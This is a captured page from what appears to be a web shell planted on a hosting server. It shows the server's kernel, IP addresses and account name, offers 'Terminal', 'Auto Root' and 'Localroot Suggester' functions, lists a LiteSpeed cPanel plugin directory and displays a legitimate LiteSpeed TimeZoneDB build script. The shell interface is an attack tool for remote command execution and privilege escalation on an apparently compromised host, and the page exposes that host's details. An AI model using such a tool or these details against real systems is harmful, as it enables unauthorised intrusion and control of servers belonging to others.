Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.50
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
lsws /
add-ons /
cpanel /
lsws_whm_plugin /
Delete
Unzip
Name
Size
Permission
Date
Action
View
[ DIR ]
drwxr-xr-x
2020-12-20 05:48
bin
[ DIR ]
drwxr-xr-x
2020-12-20 05:48
res
[ DIR ]
drwxr-xr-x
2020-12-20 05:48
static
[ DIR ]
drwxr-xr-x
2020-12-20 05:48
WhmMod_LiteSpeed_CPanelConf.php
12.32
KB
-rw-r--r--
2021-01-30 12:33
WhmMod_LiteSpeed_ControlApp.php
38.44
KB
-rw-r--r--
2021-01-30 12:33
WhmMod_LiteSpeed_Util.php
43.12
KB
-rw-r--r--
2021-01-30 12:33
WhmMod_LiteSpeed_View.php
59.53
KB
-rw-r--r--
2021-01-30 12:33
WhmPluginException.php
657
B
-rw-r--r--
2021-01-30 12:33
WhmPluginLogEntry.php
1.99
KB
-rw-r--r--
2021-01-30 12:33
WhmPluginLogger.php
16.3
KB
-rw-r--r--
2021-01-30 12:33
addon_lsws.cgi
565
B
-rw-r--r--
2021-01-30 12:33
autoloader.php
796
B
-rw-r--r--
2021-01-30 12:33
buildtimezone.sh
11.63
KB
-rwxr-xr-x
2021-01-30 12:33
buildtimezone_ea4.sh
4.18
KB
-rwxr-xr-x
2021-01-30 12:33
cPanelInstall.sh
3.94
KB
-rwxr-xr-x
2021-01-30 12:33
index.php
1.73
KB
-rw-r--r--
2021-01-30 12:33
install_lsws_cp.sh
4.09
KB
-rwxr-xr-x
2021-01-30 12:33
lsws.cgi
995
B
-rw-r--r--
2021-01-30 12:33
lsws.conf
222
B
-rw-r--r--
2021-01-30 12:33
lsws.html.tt
1.39
KB
-rw-r--r--
2021-01-30 12:33
lsws_icon.png
1.56
KB
-rwxr-xr-x
2021-01-30 12:33
lsws_whm_plugin_install.sh
12.32
KB
-rwxr-xr-x
2026-02-14 09:25
lsws_whm_plugin_uninstall.sh
1.8
KB
-rwxr-xr-x
2021-01-30 12:33
php.ini
61
B
-rw-r--r--
2021-01-30 12:33
webcachemgrBootstrap.php
618
B
-rw-r--r--
2021-01-30 12:33
Save
Rename
#!/bin/sh #set -x #set -o errexit # /******************************************************************** # LiteSpeed EA4 TimeZoneDB Auto Installer # @Author: LiteSpeed Technologies, Inc. (https://www.litespeedtech.com) # @Copyright: (c) 2016-2019 # @Version: 1.2.5 # *********************************************************************/ show_help() { cat <<EOF # *********************************************************************** # # This script will auto build the source version of timezonedb.so for # all instances of EA4 PHP. # # Prerequisites: # 1. cPanel's EA PHP environment only. # # Command: # ./ea4.sh # # Example: # ./ea4.sh y true # # Input parameters: # # 1. (Optional) YN # Auto build it without input. # Only accepts "y" or "X.X" or "X.X.X", X being integers. # # 2. (Optional) check # Checks all versions and exits. # Valid input is "true". # # *********************************************************************** EOF exit 1 } if [[ $# -gt 0 ]] ; then if [[ "$1" = "y" ]] ; then yn="y" elif [[ "$1" =~ ([0-9]+\.)?[0-9]+\.[0-9]+ ]] ; then yn="$1" else echo "Invalid parameter." show_help fi else yn=false fi if [[ $# -gt 1 ]]; then if [[ "$2" = "true" ]]; then check=true fi fi cagefs() { echo "Checking to see if CageFS is enabled." if [[ -e "/usr/sbin/cagefsctl" ]]; then if /usr/sbin/cagefsctl --cagefs-status | grep -q "Enabled"; then echo "CageFS found and enabled." echo "Updating CageFS to support the new module." /usr/sbin/cagefsctl --force-update &>/dev/null if [ $? -eq 0 ]; then echo "CageFS updated successfully." else echo "**ERROR** Error running 'cagefsctl --force-update'. Please try running it manually." fi else echo "CageFS not enabled." echo "Skipping." fi else echo "CageFS not installed." echo "Skipping." fi } # Error Handling checkErrs() { if [[ "${1}" -ne "0" ]] ; then if [[ "$BACKUPMODULE" = true ]]; then cp ""$MODULEPATH"/timezonedb.so."$NOW"" ""$MODULEPATH"/timezonedb.so" fi if [[ "$BACKUPINI" = true ]]; then cp ""$INIPATH"/php.ini."$NOW"" ""$INIPATH"/php.ini" fi echo "**ERROR** EA4 PHP ""$PHPVERSION"" ${2}" exit ${1} fi } check_devel() { rpm -qa | grep ea-php${MMVERSION}-php-devel &> /dev/null if [[ $? -ne 0 ]]; then checkErrs 1 "ea-php${MMVERSION}-php-devel was not found. This is required to build TimeZomeDB. Please run 'yum install -y ea-php${MMVERSION}-php-devel' to fix this issue." fi } if [[ "$yn" = false ]]; then read -p "Do you wish to install timezonedb for all Easy Apache 4 PHP Versions? (y, n, x.x, or x.x.x) " yn read -p "Do you wish to check timezonedb for all Easy Apache 4 PHP Versions? (true or false) " check fi echo "" echo "" if [[ "$yn" = "y" ]]; then EAV=("5.4" "5.5" "5.6" "7.0" "7.1" "7.2" "7.3") for EAVERSION in ${EAV[@]} do MMVERSION="${EAVERSION//.}" echo "Checking to see if Easy Apache 4 PHP "$EAVERSION" is installed....." if [[ -e "/opt/cpanel/ea-php"$MMVERSION"/root/usr/bin/phpize" ]]; then if [[ "$check" = true ]]; then ./buildtimezone.sh "$EAVERSION" y else check_devel ./buildtimezone.sh "$EAVERSION" ignorecagefs fi else echo "EA4 PHP "$EAVERSION" not installed!" fi echo "" echo "" done echo "" echo "" echo "TimeZoneDB installed for all Easy Apache 4 PHP Versions." elif [[ "$yn" =~ ([0-9]+\.)?[0-9]+\.[0-9]+ ]]; then MMVERSION="${yn//.}" if [[ "$check" = true ]]; then ./buildtimezone.sh "$yn" y else check_devel ./buildtimezone.sh "$yn" ignorecagefs fi echo "" echo "" echo "TimeZoneDB installed for all Easy Apache 4 PHP Versions." else echo "You have cancelled the install." show_help fi if [[ "$check" != true ]]; then cagefs fi exit 0